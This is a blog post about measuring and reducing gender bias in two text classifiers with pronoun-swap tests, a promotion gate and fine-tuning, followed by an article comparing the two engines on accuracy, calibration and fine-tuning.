The third Jev seed is the one the mean hides. Its gated loop promoted a question asking whether the person is "referred to with a courtesy title such as Ms., Miss, Mrs., Mr., or Mx. rather than Dr." ==It passed the gate at exactly 0.0% flips, because the swap changes pronouns, reflexives and a few role nouns and never touches "Mr." or "Ms."== The answer is invariant to the swap by construction, and the feature it reads is as gendered as a pronoun. That seed flipped on 1.30%, above the raw engine's 1.05%. The ungated loop was worse: all three J1 seeds promoted a courtesy-title question, against a prediction of "at most 1 of 3 seeds". On Laya the same question failed the gate, at 24% and 14%, because Laya's own answer to it moves with the surrounding pronouns. Whether a title question gets through is an accident of how each engine answers it: sensitivity to the swap and correlation with gender come apart completely.

This is the same promotion gate we run in production, with one more check layered on. A candidate scorecard is scored on held-out data, a person reads the diff, and now that diff carries a counterfactual number alongside accuracy. It's what lets a reviewer approve a change without also signing off on a bias nobody measured.

## The attorney pair: a question can pass the gate and still hurt

The shortlist: 2,000 applications, 1,000 real attorney bios and 1,000 real paralegal bios, ranked by each engine's probability of "attorney", top 500 kept. Among the 1,000 real attorneys, 419 women and 581 men, Laya shortlists 28.9% of the women and 60.1% of the men, a four-fifths ratio of 0.48; Jev shortlists 44.4% and 52.1%, a ratio of 0.85, above the 0.80 line the [EEOC's Uniform Guidelines](https://www.law.cornell.edu/cfr/text/29/1607.4) use for adverse impact. Swap the pronouns and 82 of the 419 women make Laya's top 500 only if read as men; on Jev, 15. One mechanical detail: Jev reports two-decimal probabilities, so 733 of the 2,000 applicants tie at P = 1.00, the cut sits inside that block, and any added question becomes the tie-breaker for all of them.

::image{
  src="images/encoding-prejudice-shortlist.png"
  layout="full"
  alt="Bar chart of the share of real attorneys who make a top-500 shortlist out of 2,000 paralegal and
  attorney bios, women against men, per engine. Jev: 44 percent of women attorneys and 52 percent of men, a
  four-fifths ratio of 0.85 with a 95 percent interval of 0.73 to 0.96. Laya: 29 percent of women and 60
  percent of men, a ratio of 0.48 with an interval of 0.40 to 0.55. A dashed line marks four-fifths of the
  men's rate, the EEOC rule of thumb."
  caption="The constructed shortlist, engines alone: 1,000 real attorney and 1,000 real paralegal bios ranked by each engine's P(attorney), top 500 kept. Solid bars are women attorneys, pale bars men. The dashed line is four-fifths of the men's rate; a women's bar below it is adverse impact by the EEOC rule of thumb."
}

We also ran our learning loop on this pair, because this is where the harm is, and it taught us something we hadn't planned to learn. On Jev, the loop proposed a "paralegal, legal assistant or current law student" question, checked that its answers barely move under the pronoun swap (0.8% of labelled twins), promoted it, and cut the verdict flip rate from 3.9% to under 2.2%. And the shortlist ratio fell from 0.85 to 0.66, below the line, with 37 women attorneys shortlisted only under male pronouns against 15 before. Remove that one question and the ratio is back at 0.85. Jev answers it higher for real women attorneys than for men, and swapping the pronouns doesn't change that: the question is invariant to the pronoun and correlated with gender through what the bios say. A question can pass a cue-invariance test and still worsen the outcome for the group, while the verdict-level bias number improves. ==Measure in the decision's own currency, and gate on the outcome, not the cue.== On Laya none of the loop's eleven proposed questions passed the invariance test at all, so it changed nothing.

::image{
  src="images/encoding-prejudice-gate-shortlist.png"
  layout="full"
  alt="Bar chart of the four-fifths ratio on the top-500 paralegal-or-attorney shortlist, Jev, three bars:
  engine alone 0.85, gated loop 0.66, question removed 0.85, with a dashed four-fifths line at 0.8 that only
  the middle bar falls under."
  caption="The gated loop's question passed the invariance test and pulled the shortlist below the line; remove it and the ratio returns."
}

Zero the new question's weight and the ratio returns to 0.85; reset the holistic weight instead, keeping the question, and it stays at 0.66. The content correlation does the damage: among real attorneys the question averages −3.29 log-odds on women's bios against −3.63 on men's, and on the swapped twins −3.38 against −3.53. The second gated seed promoted three questions in the same direction and landed at 0.65 with 1,224 distinct scores and three ties, so the tie doesn't explain it either.

One caveat: paralegal is the smallest class in the corpus, so the loop's pool had 146 paralegals against 2,000 attorneys, a 93% skew against a 50/50 held-out set. Every fitted arm's raw accuracy fell for that reason alone; the shortlist ratio depends only on the ranking and is the number we report.

That's why we gate on the decision's own outcome in production: a scorecard change gets checked against the ranking or shortlist it actually produces, by group, before it's promoted. A question that passes every invariance test we know to write can still move the number that matters, so we measure the outcome itself every time a scorecard changes.

## Twin averaging: the fix that needs no fitting

For a cue you can swap, there's a fallback that needs no fitting: score the bio and its twin and average the two probabilities. Zero pronoun flips by construction, twice the inference. ==In the shortlist's currency, averaging takes Laya from 0.48 to 0.79 on paralegal/attorney and Jev from 0.85 to 0.91, at a cost of 5.6 and 1.3 points of accuracy.== That is the engines alone. Average the loop's fitted Jev head instead and the ratio is 0.72, below the engine by itself, because on Jev the fitted head had already leaned on the support-role question; the pre-registration predicted the opposite and was wrong. So on that pair pronouns carry most of the adverse impact, and the residue is in what the bios say. On nurse/physician it overshoots to 1.25 in women's favour: with the pronoun neutralised, women physicians' bios read *more* physician-like to Laya than men's. And it does nothing for a cue you can't swap.

We tried four fitted-head versions on Laya: refit on the 140 labels and their twins, penalise the gap between a bio's probability and its twin's, gate every feature including the holistic answer, and steer the analyst with the flips. Three of the four land within about half a point of twin averaging's accuracy while flipping an order of magnitude more often, 11.3 to 11.4% against zero. Gating everything removes the only feature this scorecard has, since the holistic answer itself flips on 7.95%, and collapses to 0.50 accuracy. No fitted arm beats twin averaging on both axes.

## Fine-tuning: the prediction we got wrong

Fine-tuning is the other reflex: the model is biased, so retrain it on my labels. We predicted in writing that it would make things worse, because 140 labels with a 14%-versus-49% gender mix should teach the correlation. It didn't. Laya fine-tuned on the same 140 surgeon labels scores 0.80 and flips on 0.6% and 2.6% of twins across two seeds, against 7.95% untuned, and the recall gap shrinks from 17 points to 2 and 6. ==On this pair, gradient fine-tuning reduced the pronoun sensitivity more than anything the layer did, and we're reporting that against our prediction.== What it doesn't give you is any account of what it learned or what else it changed: when [we fine-tuned Laya on 140 sentiment labels](/blog/jev-vs-laya/), its answers to the eight questions it wasn't trained on moved by 42% on average. The flip rate is the only window into a fine-tuned model, which is one more reason to keep it as a standing test.

Two seeds, and we say so: the third's training was stopped to free the GPU, and no row is invented for it. The recipe is [Jev vs Laya](/blog/jev-vs-laya/)'s, unchanged.

## Why the people adopting these models don't measure this

The decision to adopt one of these models is itself a System 1 judgment, and it fails in two ways Kahneman named in *Thinking, Fast and Slow*. **Substitution**: when a question is hard, we quietly answer an easier one. "What does this model classify on?" is hard; "does it classify well?" has a benchmark, so the benchmark gets run and the first question goes unasked. **WYSIATI**, what you see is all there is: the hundred-odd women surgeons the open model reads as physicians aren't in the demo, the vendor's table, or the fifty items you spot-checked, and the mind doesn't register what's missing.

The usual answer is a line in a checklist: "consider the risks." Considering a bias doesn't remove it; you can know about a visual illusion and still see it. The control has to be structural.

## Decision hygiene, implemented

In *Noise*, Kahneman, Sibony and Sunstein call the structural controls decision hygiene: procedures that improve judgment without knowing which bias you're fighting, as hand-washing works without knowing which germ. Lay the list beside the [Jev-Flywheel](https://github.com/AnthusAI/Jev-Flywheel) and they match.

::image{
  src="images/encoding-prejudice-hygiene.png"
  layout="full"
  alt="Diagram in two columns. Left, Kahneman's decision hygiene: delay the intuitive conclusion; decompose
  into factual sub-judgments; keep the judgments independent; prefer a rule to unaided judgment; calibrate;
  make failure detectable. Right, the flywheel component for each: demote the v1 scorecard to one input; the
  analyst's proposed questions about surgical training, the operating room, and Mr. or Ms. rather than Dr.;
  typed questions answered separately; the fitted decision head, an improper linear model; calibration on a
  few hundred held-out labels; the invariance gate, the pronoun swap as a standing test."
  caption="Kahneman's decision-hygiene controls on the left, and the part of the flywheel that implements each one on the right."
}

Five of the six were in the flywheel before this study. **Delay the intuitive conclusion**: the v1 scorecard, the engine's own answer as the verdict, *is* the intuition, and the first act of hygiene is to demote it to one input among several. **Decompose into factual sub-judgments**: the analyst proposes questions like "does the text state that this person performs surgery, works in the operating room, or is board certified in a surgical field?", all recorded in [the repo](https://github.com/AnthusAI/Jev-Flywheel/blob/main/studies/bios_gender_proposals.jsonl). **Keep the judgments independent**: each question gets its own probability, though Jev's claim to [evaluate them independently](https://docs.typesafe.ai/introduction) we've checked only for [sentiment](/blog/can-you-trust-jev-confidence/). **Prefer a rule to unaided judgment**: the verdict is a fitted logistic head, a few coefficients you can print, [Dawes's improper linear model](https://www.cmu.edu/dietrich/sds/docs/dawes/the-robust-beauty-of-improper-linear-models-in-decision-making.pdf). **Calibrate**: [a few hundred held-out labels get Jev there](/blog/can-you-trust-jev-confidence/).

**Make failure detectable.** This is the piece the bias problem adds, in two parts. The gate demonstrably kept out every question whose answer moved with the pronouns. It can't see a question whose answer doesn't move but still tracks gender, so the second part is the decision's own outcome, the shortlist ratio with the counterfactual counts beside it, recomputed on every promoted scorecard. Whether it helps depends on the engine, and you find out by measuring.

## Three things to do before you ship

1. ==**Run the counterfactual as a smoke test.**== Take a few hundred items from your own data, swap the pronouns, swap the names, insert an age, and count the flips against a floor. `make bios`, `make race` and `make age` replay ours with no keys and no spend, and the scripts take a different corpus.

2. ==**Never let the holistic answer be the decision.**== Put factual questions around it, fit a head you can read, calibrate it, and gate every new question on invariance, so the model's verdict is one input to a rule you own. Decompose, gate, and measure, in the decision's own currency: the gate keeps the obviously gendered questions out, and only the shortlist test catches the ones that aren't obvious.

3. ==**Demand the flip rate from your vendor.**== They know it, or they can know it in a day. A model card that reports accuracy and latency and leaves this out is telling you which question its authors substituted. [BBQ](https://aclanthology.org/2022.findings-acl.165/), the standard bias benchmark for question answering, lets a model say "unknown"; a gatekeeper doesn't get that option, so it has to be measured on every answer.

## What we haven't shown

- **Two pairs, one wording each.** Surgeon or physician for the arms, paralegal or attorney for the shortlist; other wordings and decisions will move differently.
- **The labeler is the corpus.** We haven't tested whether human reviewers steer the loop the same way.
- **Fine-tuning is two seeds**, and the fitted-head arms ran on Laya only.
- **The gate is one threshold, fixed at 2% in advance.** Loosening it to 5% or 10% on Laya lets the holistic answer back in wherever its own flip rate clears the bar.
- **The attorney-pair loop couldn't be graded on accuracy**; the shortlist ranking is what we report.
- **The swap rule had two artefacts** in the surgeon-pair arms, "women's health" swapped in 0.3% of bios and Miss, Sir and Madam missed in under 0.2%; amended before the attorney-pair loop, it changed 2 of 2,000 twins.
- **We don't know what TypeSafe did**, and we're not guessing.
- **The nurse-pair loop was stopped partway** by the author; its rows are a record and nothing here rests on them.

## We run this triage for clients, at scale

The arms above are the small, reproducible version of a loop we've operated in production for years. A reviewer corrects a verdict and explains why, and that explanation becomes a candidate question, an averaging rule, or a fine-tuning cycle, checked against held-out data and the decision's own outcome before anything ships. We've run that loop for a call-center QA operation across hundreds of scorecards and millions of interactions, and the [case study](/blog/call-criteria/) is what it looks like when the gate, the reviewer workflow, and the audit trail run continuously.

[Plexus](/platform/plexus) is where we run it: the scorecard promotion gate, the outcome-level check by group, and the record of who approved each change.

If you're shipping a classifier that touches people and want the gate, the averaging fallback, and the fine-tuning option checked against your own reviewers, we'll set that up. [Here's how an engagement works](/engage).

## Companion pieces

- [We Told the AI She Was a Woman. It Demoted Her](/blog/encoding-prejudice/) — the story, for anyone who doesn't need the method.
- [The One-Word Test: How Jev and Laya Read Gender, Race and Age](/blog/one-word-test/) — how we ran it: two models, four jobs, the shortlist, and what swapping a name or an age does.
- [Jev-Flywheel](https://github.com/AnthusAI/Jev-Flywheel) — every number replays offline; if a fast model is about to judge people on your behalf, the Anthus team builds the industrial version.
- [Fine-Tuning Jev: You Can't. Here's What Gets You the Same Effect](/blog/fine-tuning-jev/) — the analyst, the refit and the fitted head.
- [Jev vs Laya: Same Labels, Same Questions, One Variable](/blog/jev-vs-laya/) — the fine-tuning recipe and the 42% drift.
- [Can You Trust Jev's Confidence?](/blog/can-you-trust-jev-confidence/) — calibration on a few hundred held-out labels.

Everything replays from the repo:

```bash
git clone https://github.com/AnthusAI/Jev-Flywheel && cd Jev-Flywheel
make install
make bios      # the surgeon pair, both engines alone, from committed answers
make attorney  # the paralegal/attorney pair, both engines alone, amended twins
make flipopt   # twin averaging and the fitted-head arms at the 2% gate, no GPU
```

The loop arms replay one recording at a time with `flywheel replay fixtures/bios/recordings/<arm>-seed<N> --fixtures fixtures/bios`; the fine-tune and any seed that promoted a question need Apple silicon or a Jev key to regenerate, and everything else runs from committed answers.

The repo is deliberately small: one score, a logistic head, no database. [Plexus](https://github.com/AnthusAI/Plexus) is the industrial version of the same loop, with reviewer workflows, vetted labels, audit trails and the MLOps around continuous learning from human feedback, and the [Anthus AI Solutions](https://anth.us) team builds and runs it.

---

# Jev vs Laya: Same Labels, Same Questions, One Variable

> We ran two decision models, Jev and the open-weights Laya, through one harness where only the engine changes. Jev led by 4.7 points alone and 6.8 with our feedback layer, and then fine-tuning Laya on the same 140 labels beat both.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-21

Canonical: https://anth.us/articles/jev-vs-laya/

::image{
  src="images/jev-vs-laya-cover.png"
  layout="full"
  alt="Three bars of accuracy on the same test items: Jev, the hosted model, at 87 percent; Laya, the open
  model, at 80 percent; and Laya after retraining on the same 140 labels at 90 percent."
  caption="Both engines with the same feedback layer, and then Laya after we retrained its weights on the same 140 labels. Only an open model gives you that last bar."
}

If you're using an AI model to sort, score or label text, you've had two kinds to choose from. Hosted models like [Jev](https://typesafe.ai/blog/introducing-system-one-models-and-jev) work the moment you have an API key, and you pay per item forever. This month [Laya](https://huggingface.co/convaiinnovations/laya) arrived as the open alternative: same kind of model, free, small enough to run on a laptop. Its launch coverage says it beats Jev. If you're paying for Jev today, you want to know whether to switch.

We happened to have the right test bench. It gives both models the same texts, the same questions and the same 140 rounds of human feedback, and changes one thing: which model answers. On that test Jev came out ahead, 87% accuracy to Laya's 80%, and our feedback layer helped both without closing the gap. Then we did the one thing only an open model allows: we retrained Laya's own weights on that same feedback, and it jumped to 90%, past both. We'd predicted in writing that it wouldn't.

Either engine gives you the real choice underneath: take the answer as it comes, or build a reviewer loop that continuously aligns it. We run that loop the same way regardless of which engine sits underneath it: score immediately, have a reviewer agree or disagree with the verdicts, and use those labels to refit the weights and, when the disagreements keep coming, add a question. That loop is what closes most of the gap between the two engines here, whichever one you pick, and it costs far less than building a labeled dataset before you start.

This piece is the full comparison, including what retraining Laya costs you.

## What Convai claims for Laya

[Laya's model card](https://huggingface.co/convaiinnovations/laya) describes a 421M-parameter encoder on a ModernBERT-large backbone, Apache 2.0, with a 512-token window. It answers the same three typed questions Jev does: `noul` (yes or no), `choice` and `score`. Its comparison table puts a routed set of Laya checkpoints against TypeSafe's Jev 1.13.0. These are Convai's numbers:

- **Accuracy:** 0.766 against 0.727 on their typed-decisions benchmark, 0.950 against 0.910 on AG News, 0.595 against 0.480 on DAIR Emotion.
- **Calibration:** expected calibration error (ECE) of 0.081 against 0.246.
- **Latency:** 32.8 ms for one question on a Tesla T4, against 236 to 276 ms for Jev.
- **Cost:** $0 self-hosted, against $0.042 per million tokens.

The card is more careful than most of the coverage it got. It says the 0.766 "belongs to the checkpoint fine-tuned on that benchmark's own training split", and that base checkpoints score 0.362 there zero-shot. It says the 0.081 ECE comes from refitting a temperature per question type and option count on its own data, which moved the English checkpoint's mean ECE from 0.466. It says the Jev figures are "third-party published, never measured here". And it reports a loss: 0.425 on Banking77 against Jev's 0.870.

So the launch claims mostly describe a Laya you've tuned. We tested the base English checkpoint untuned, then tuned it ourselves.

## The harness: one variable

The harness is the [Jev-Flywheel repo](https://github.com/AnthusAI/Jev-Flywheel). The harness asks an engine a short list of typed questions about each text. A small logistic model on top, the decision head, turns the answers into a verdict and a calibrated confidence. When a person disagrees with a verdict, the engine isn't retrained. Either the head is refit, which changes how much each answer counts, or an AI analyst reads the disagreements and proposes a new question, which we call a steering round. A person approves the change. It's a small data flywheel with a human in the loop, and [Fine-Tuning Jev](/blog/fine-tuning-jev/) walks through it step by step.

Scorecards built this way are how we run production classifiers for clients: a versioned set of questions and a fitted head, evaluated against held-out items and promoted only when the numbers clear a bar. We've run hundreds of them live at once for one client, so the shape here, small as it is, is the same shape we use at scale.

The test corpus is the 8,801-item sentiment set from [our fine-tuning article a year ago](/blog/fine-tuned-classification-with-confidence/), which we built with a planted bias: sports text skews positive and workplace text skews negative. In the recorded run, the analyst read 43 disagreements, named that bias in plain English, and proposed one question, `topic_domain`. Nothing above the engine adapter knows which engine answered, which is what makes a paired test possible.

## Jev vs Laya on the same 140 labels

We replayed one recording against both engines: the same 140 labels, the same 21 refit points, the same analyst proposal, the same 600 held-out items.

| | Jev | Laya |
|---|---|---|
| Engine alone | 0.768 | 0.722 |
| Last refit the gate promoted | 0.765 (87 labels) | 0.730 (52 labels) |
| After steering, 140 labels | **0.870** | **0.802** |
| Calibration error (ECE), alone to after | 0.151 to 0.030 | 0.107 to 0.015 |
| Brier score, alone to after | 0.188 to 0.093 | 0.189 to 0.130 |

::image{
  src="images/jev-vs-laya-paired-accuracy.png"
  layout="full"
  alt="Bar chart of held-out accuracy on the same 600 items. Jev alone 0.768, Jev with the layer 0.870, Laya
  alone 0.722, Laya with the layer 0.802. The gap between engines widens from 4.7 to 6.8 points."
  caption="Held-out accuracy for both engines, alone and with the flywheel layer. Same 140 labels, same refit points, same analyst proposal, same 600 items. Light bars are the engine alone; solid bars are the engine with the layer."
}

Laya is free to run, so we also scored it on all 3,521 held-out items: 0.716 alone, 0.806 with the layer.

Laya gains 8 points from the layer. But the engines were 4.7 points apart alone and they're 6.8 apart with it. The layer lifts both and leaves the weaker one behind.

Calibration needs care in both directions. We measured Jev's raw over-confidence in [Can You Trust Jev's Confidence?](/blog/can-you-trust-jev-confidence/), and it shows up again here as an ECE of 0.151. Laya's raw ECE on the same items was lower, 0.107. We haven't measured how much ECE moves by chance on 600 items, so we don't read that as a win for Laya. After the layer, both are well calibrated. Brier is the clearer split and it favours Jev, because Brier rewards being confident and right, and Jev is right more often.

That's the same job confidence gating does in production: rank verdicts by calibrated confidence and let the ones above a threshold through automatically, routing the rest to a person. A well-calibrated head is what makes that threshold mean what it says, whichever engine sits underneath it.

::image{
  src="images/jev-vs-laya-calibration-brier.png"
  layout="full"
  alt="Two bar panels. Calibration error falls from 0.151 to 0.030 for Jev and from 0.107 to 0.015 for Laya.
  Brier score falls from 0.188 to 0.093 for Jev and from 0.189 to 0.130 for Laya."
  caption="Calibration error (left) and Brier score (right) for the same four systems; lower is better. Both engines end well calibrated. Brier separates them, because it also pays for being right."
}

## Two predictions we got wrong

We wrote predictions into [`studies/PREREGISTERED.md`](https://github.com/AnthusAI/Jev-Flywheel/blob/main/studies/PREREGISTERED.md) before Laya had answered a single item of this corpus. Two were wrong.

**We predicted the weaker engine would gain more.** Our reasoning: an encoder classifies topics well, so a topic factor would stand in for the sentiment judgement Laya does poorly. The steering step was worth +7.2 points to Laya and +10.5 to Jev. One caution: we measure each step from that lineage's last promoted refit, and the gate promoted those at different label counts (52 and 87), so the two steps don't start from the same place.

**We predicted Laya would be the over-confident one**, with raw ECE above 0.15. We took that from the card's raw 0.466. It came in at 0.107. The port ships Convai's calibration temperatures with the checkpoint, so that's the shipped model.

Two calls held: Laya with the topic question at 0.80 (it got 0.802), and a final gap of 4 to 8 points (6.8).

## What changes when Laya is the engine?

**Extra questions cost a forward pass each.** Jev reads the item once and every question rides in the same request, so another question costs a few input tokens. Laya encodes the item once per question. Our benchmark script, on an M1 Max, measured 18 ms for a single question, 75 to 82 ms for eight and 102 to 106 ms for twelve, across two runs. That's about 8 ms per added question. Both runs happened on a busy machine (1-minute load of 4.4 and 6.4, over our script's 2.0 threshold), so read them as upper bounds.

**The per-question answer cache is safe.** The cache assumes an answer doesn't depend on which other questions rode along. On Laya, 1,137 of 1,200 comparisons between a question asked alone and asked with seven others were identical, the largest difference was 0.005 in probability, and reordering changed nothing. Identical requests gave identical answers, within a process and across processes.

**The 512-token window truncates silently.** Our longest item is 48 tokens (`studies/laya_bench.json`), so this corpus never gets close. But Laya cuts overlong input without an error and returns an answer computed on part of it. Our adapter counts tokens first and refuses. Jev's [model page](https://docs.typesafe.ai/models) lists 64k tokens per request.

**Many-option questions are a known weakness.** Convai's card attributes the Banking77 result to a fixed token budget that all options share (192 tokens on the English model), which leaves 77 labels three or four tokens each. That's their explanation and their number. Our adapter refuses choice questions with more than 20 options.

**We ran a port.** [`laya-mlx`](https://pypi.org/project/laya-mlx/) is an independent Apple-silicon port, version 0.1.0, released September 19. It isn't an official Convai release.

## Does Laya's own loop find the hidden factor?

The paired replay transferred a question: the analyst wrote `topic_domain` after reading Jev's disagreements, and we asked Laya the result. So we also let the loop run on Laya alone, with no Jev answers anywhere. Labels grow from 140 to 300, 500 and 800, with a steering round after each, Kimi K3 as the analyst, three seeds. This wasn't pre-registered, and it uses more labels and rounds than the Jev runs, so the two aren't like for like.

| Held-out accuracy, 600 items | 0 labels | 140 | 300 | 500 | 800 |
|---|---|---|---|---|---|
| Seed 1 | 0.722 | 0.718 | 0.767 | 0.805 | **0.812** |
| Seed 2 | 0.722 | 0.718 | 0.737 | 0.833 | **0.818** |
| Seed 3 | 0.722 | 0.698 | 0.725 | 0.782 | **0.800** |

All three seeds proposed a question about what the text is about, somewhere between 140 and 500 labels. The plain one-round loop on Jev named that axis in 3 of 12 runs. Our guess is that the engine isn't the reason: by 300 to 500 labels there are more disagreements to read, and each round is the analyst's second or third look.

More rounds and 800 labels bought about what one transferred question bought at 140: 0.800 to 0.818, against 0.802. None of it gets near Jev's 0.870. And accuracy didn't rise monotonically. Seed 2 fell from 0.833 to 0.818 when the analyst reworded a question it had already added.

Running it exposed two faults in our own harness, both fixed. The analyst once wrote a 282-token instruction where Laya keeps 186, so the engine refused every request after the analyst call had been paid for; the host now checks proposals against the engine's limits. And we'd scored some earlier versions with a later round's wording, so now each version gets its own questions.

## Can you fine-tune Laya on the same 140 labels?

Yes, and on this corpus it beat the layer on accuracy. We didn't expect that.

The repo's [README](https://github.com/AnthusAI/Jev-Flywheel#readme) admitted we'd never compared the layer against gradient fine-tuning on the same label budget. With open weights there's no excuse, so we pre-registered the study and ran it. Four arms:

- **A: full fine-tune** of Laya on the recording's own labels.
- **B: head-only fine-tune** on that set: Laya's decision head, type embeddings and scorer train, and the ModernBERT encoder stays frozen. It's the closest gradient analogue to fitting a layer on top.
- **C: a learning curve**, the same recipe as A on random pool draws of 140, 300, 500, 800, 2,000 and 5,140 labels.
- **D: DistilBERT** on that set too, as the ordinary small-model baseline.

We fixed the recipe in [the pre-registration](https://github.com/AnthusAI/Jev-Flywheel/blob/main/studies/PREREGISTERED.md) first: AdamW, weight decay 0.01, batch 16, 6% warmup then linear decay, fp32, 10 epochs up to 500 labels and 3 above. Cross-validation inside the training labels picks the learning rate and fits one calibration temperature; held-out items never pick anything. Three seeds per arm. Each full fine-tune logged about 100 seconds of training on the M1 Max.

::image{
  src="images/jev-vs-laya-finetune.png"
  layout="full"
  alt="Bar chart of held-out accuracy with the same 140 labels. Laya head-only fine-tune 0.659, Laya alone
  0.722, Jev alone 0.768, Laya with the layer 0.802, DistilBERT fine-tune 0.835, Jev with the layer 0.870,
  Laya full fine-tune 0.896. Black lines show the range over three seeds."
  caption="Seven bars, the same 600 held-out items. Light bars are the engines with no labels; every other system got the same 140. Solid bars have the flywheel layer. Hatched bars are gradient fine-tunes (mean of three seeds, with the seed range as a black line). Magenta is Laya, blue is Jev, gray is DistilBERT."
}

| System, same 140 labels | Accuracy (seed range) | ECE, calibrated | Brier |
|---|---|---|---|
| Laya alone | 0.722 | 0.107 (raw) | 0.189 |
| B: Laya, head-only fine-tune | 0.659 (0.620 to 0.712) | 0.061 | 0.182 |
| Laya with the layer | 0.802 | 0.015 | 0.130 |
| D: DistilBERT fine-tune | 0.835 (0.818 to 0.848) | 0.080 | 0.125 |
| Jev with the layer | 0.870 | 0.030 | 0.093 |
| A: Laya, full fine-tune | **0.896** (0.887 to 0.903) | 0.087 | 0.089 |

On all 3,521 held-out items arm A scores 0.902.

We predicted arm A would land between 0.74 and 0.80 with a seed spread of at least 3 points. It got 0.896 with a spread of 1.7. We predicted head-only would beat full fine-tuning at this budget, on the theory that 140 labels would overfit a 421M-parameter encoder. It did the opposite, and landed below untuned Laya. We'd written down one risk to those predictions: the planted cue is lexical, and a model with enough capacity might pick up a lexical shortcut from very few examples. That's the outcome we got, though we haven't tested that it's the mechanism.

Arm B needs a caveat, and it's our fault. We pre-registered a head-only learning-rate grid of 1e-4 and 1e-3, and both were probably too aggressive. The cross-validation scores said so before we touched a held-out item: 0.621 and 0.628, both below what Laya gets with no training. Read B as a badly tuned head, and don't read it as evidence that freezing the encoder fails. We reran it at gentler rates as an exploratory arm, outside the pre-registered tally, and they didn't rescue it. At 1e-5 the head barely moved and scored 0.722, exactly where untuned Laya sits. At 2e-5 it scored 0.679 (0.672 to 0.687), worse than no training. On this task the learning happens in the encoder, the part a head-only fine-tune leaves frozen.

### Which items does each system get right?

::image{
  src="images/jev-vs-laya-tiers.png"
  layout="full"
  alt="Grouped bars of accuracy by difficulty tier for six systems: Jev alone, Jev with the layer, Laya
  alone, Laya with the layer, fine-tuned Laya and DistilBERT. All six score 1.00 on strong. On medium: 1.00,
  0.95, 0.99, 0.84, 1.00, 0.71. On weak: 0.75, 0.88, 0.67, 0.79, 0.95, 0.87. On neutral: 0.52, 0.72, 0.48,
  0.70, 0.67, 0.78."
  caption="Accuracy by tier on the 600 held-out items (72 strong, 106 medium, 277 weak, 145 neutral). Light bars are the engines with no labels: both start near a coin flip on neutral items. Fine-tuned Laya wins the two middle tiers. Among the trained systems it's last on neutral items, and DistilBERT is first."
}

The corpus has four tiers. Every system solves the strong tier. Fine-tuned Laya carries the medium and weak tiers: 0.997 and 0.949, against 0.953 and 0.881 for Jev with the layer.

The neutral tier is where the planted bias lives. Its labels follow subject matter and its wording carries no sentiment, so it's the tier the analyst invented the topic question for. Fine-tuned Laya is the worst of the four systems there at 0.669, behind Laya with the layer (0.703) and Jev with the layer (0.724). DistilBERT is the best of any system on it at 0.782, and pays for that on the medium tier, where it drops to 0.714. These cells are small (145 neutral items, 106 medium), so gaps of a few points are noise. But the order holds on all 3,521 held-out items, where 800 are neutral: 0.644 for fine-tuned Laya, 0.679 for Laya with the layer, 0.720 for DistilBERT. We can't explain the DistilBERT pattern yet.

So the fine-tune's headline accuracy comes from the medium and weak tiers, 383 of the 600 items. Our guess, untested, is that gradient access lets the encoder learn this corpus's templates fast. On the items where the label depends on an unwritten convention, 140 labels of gradient descent did no better than asking the right question, and nominally worse.

### What more labels buy

::image{
  src="images/jev-vs-laya-learning-curve.png"
  layout="full"
  alt="Line chart of fine-tuned Laya's held-out accuracy against number of random training labels, three
  seeds per size. Exploratory small budgets: mean 0.819 at 20 labels, 0.833 at 40, 0.852 at 80.
  Pre-registered sizes: 0.884 at 140, 0.902 at 300, 0.926 at 500, 0.928 at 800, 0.938 at 2,000 and 0.942 at
  5,140. Dashed reference lines mark Laya with the layer at 0.802 and Jev with the layer at 0.870, both at
  140 labels."
  caption="Full fine-tunes on random pool draws, three seeds per size. The solid line is the pre-registered curve; the dotted lead-in is an exploratory run at 20, 40 and 80 labels. The dashed lines are the two flywheel results at 140 labels."
}

Arm C draws labels at random from the pool where arm A uses the 140 the active selector picked. At 140 random labels it scores 0.884 (0.862 to 0.895), at 300 it scores 0.902, and at 500 it scores 0.926. The first step is inside the seed spread; the second isn't. The neutral tier moves the same way: 0.623, 0.644, then 0.736 at 500, level with Jev with the layer.

We'd predicted the curve would first pass 0.802 at 300 to 500 labels and first pass 0.870 at 800 to 2,000. It passed the first at 140 in every seed, and the second at 140 on average and at 300 in every seed. We predicted about 0.93 at 5,140 labels, and it's nearly there at 500. At 800 labels it scored 0.928 (0.925 to 0.932 across seeds) and at 2,000 labels 0.938 (0.933 to 0.943), and at all 5,140 pool labels 0.942 (0.935 to 0.947), or 0.939 on the full 3,521 held-out items. That last prediction held: the curve flattens right around the 0.938 a plain text classifier reaches with every pool label. We also went the other way, as an exploratory run, to find where fine-tuning stops beating the layer. On Laya it doesn't: with 20 random labels the full fine-tune scored 0.819 (0.807 to 0.845), already above the 0.802 the layer reached on Laya with 140. It scored 0.833 at 40 labels and 0.852 at 80. It needs somewhere between 80 and 140 to pass the 0.870 of Jev with the layer. Those small runs reused a learning rate and skipped cross-validation, so their confidence isn't calibrated, and twenty labels of a templated corpus with a lexical cue is about the friendliest case fine-tuning will ever get.

### What the layer keeps

**Calibration.** The layer's ECE is 0.015 on Laya and 0.030 on Jev. The fine-tune's is 0.087 after calibration, several times worse, and seeds range from 0.057 to 0.116. We don't trust that calibration step. The procedure fits one temperature per arm, and for arm A it came out at 5.07, which flattens confidences hard and made seed 1 worse than its raw output (0.116 against 0.108). We traced it. The temperature is fitted once per arm, on out-of-fold predictions from cross-validation models trained on about 93 of the 140 labels, and then applied to three different final models trained on all 140. It isn't stacked on Laya's own shipped calibration; our code reads raw logits. So it's a mismatch: a temperature that suits the stand-in models suits one seed and not another. There's a second problem underneath. When we retrained the same seeds for the drift probe, accuracy reproduced within about a point, but calibration error didn't: seed 1 came out at 0.046 where the recorded run had 0.116. Training on this GPU isn't bit-for-bit repeatable, and on 140 labels calibration is sensitive to it. Read the fine-tune's 0.087 as somewhere between 0.05 and 0.12. You won't know where without a held-out calibration set, and 140 labels doesn't leave room for one. On Brier, which pays for accuracy, the fine-tune edges Jev with the layer, 0.089 to 0.093.

**A written account.** The layer's adaptation arrives as a question in English and a few coefficients. The fine-tune's arrives as 421M changed numbers.

